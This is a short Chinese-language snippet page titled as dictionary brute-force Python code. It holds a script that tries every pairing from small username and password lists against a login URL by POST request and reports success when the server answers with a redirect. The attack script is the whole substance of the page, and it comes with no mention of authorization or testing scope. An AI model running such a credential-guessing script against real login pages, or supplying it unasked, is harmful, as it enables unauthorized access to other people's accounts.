爆破字典python代码
时间: 2024-01-04 20:20:07 浏览: 89
以下是一个使用Python进行字典爆破的示例代码:
```python
import requests
def brute_force_login(url, username, password):
login_data = {
'username': username,
'password': password
}
response = requests.post(url, data=login_data, allow_redirects=False)
if response.status_code == 302:
print("Login successful with username: {} and password: {}".format(username, password))
else:
print("Login failed with username: {} and password: {}".format(username, password))
# 设置登录页面的URL
login_url = "http://example.com/login"
# 设置要爆破的用户名和密码字典
username_list = ["admin", "user", "test"]
password_list = ["password1", "password2", "123456"]
# 遍历用户名和密码字典进行爆破
for username in username_list:
for password in password_list:
brute_force_login(login_url, username, password)
```
该代码使用了`requests`模块发送POST请求来进行登录操作。通过遍历用户名和密码字典,将每个组合作为登录参数发送请求,并根据响应的状态码判断登录是否成功。
阅读全文